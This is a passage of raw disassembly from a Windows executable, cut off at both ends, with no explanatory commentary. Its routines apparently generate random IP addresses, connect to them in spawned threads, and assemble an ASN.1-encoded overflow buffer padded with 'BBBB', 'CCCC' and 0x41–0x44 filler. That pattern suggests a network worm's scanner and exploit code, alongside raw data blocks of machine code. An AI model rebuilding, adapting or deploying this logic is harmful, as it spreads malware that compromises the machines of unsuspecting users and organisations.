ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A0D63h push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2690579h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 call near ptr 26F0000h nop loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi call near ptr 26F06F1h nop push 80000400h push esi nop call near ptr 26F04CCh test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j nop call near ptr 2690CE2h push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 call near ptr 26F06F1h nop loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E5E85757h, 9002283Eh, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0DBE890FCh, 0FF022641h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 283DF3E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 22640EAh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov 